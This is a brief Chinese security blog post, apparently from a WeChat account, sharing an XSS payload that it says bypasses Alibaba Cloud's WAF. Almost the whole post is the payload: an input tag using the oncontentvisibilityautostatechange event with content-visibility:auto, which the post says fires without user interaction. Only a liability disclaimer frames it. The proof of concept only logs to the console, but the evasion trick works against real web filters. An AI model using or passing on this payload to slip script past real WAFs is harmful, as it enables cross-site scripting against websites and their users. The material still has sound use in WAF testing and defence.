xss利用冷门事件绕过阿里云waf

原创

十二
十二

起凡安全

2026年6月25日 17:58
北京

在小说阅读器读本章

去阅读

免责声明

本文中所涉及的技术、思路仅为学习交流，由于传播、利用本公众号所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，一旦造成后果请自行承担！

在其他地方看到的一条payload，可以用来绕过阿里云waf，正常测试被拦截

payload如下

<input style=content-visibility:auto oncontentvisibilityautostatechange=\"console.log('xss')\">

无需用户交互即可触发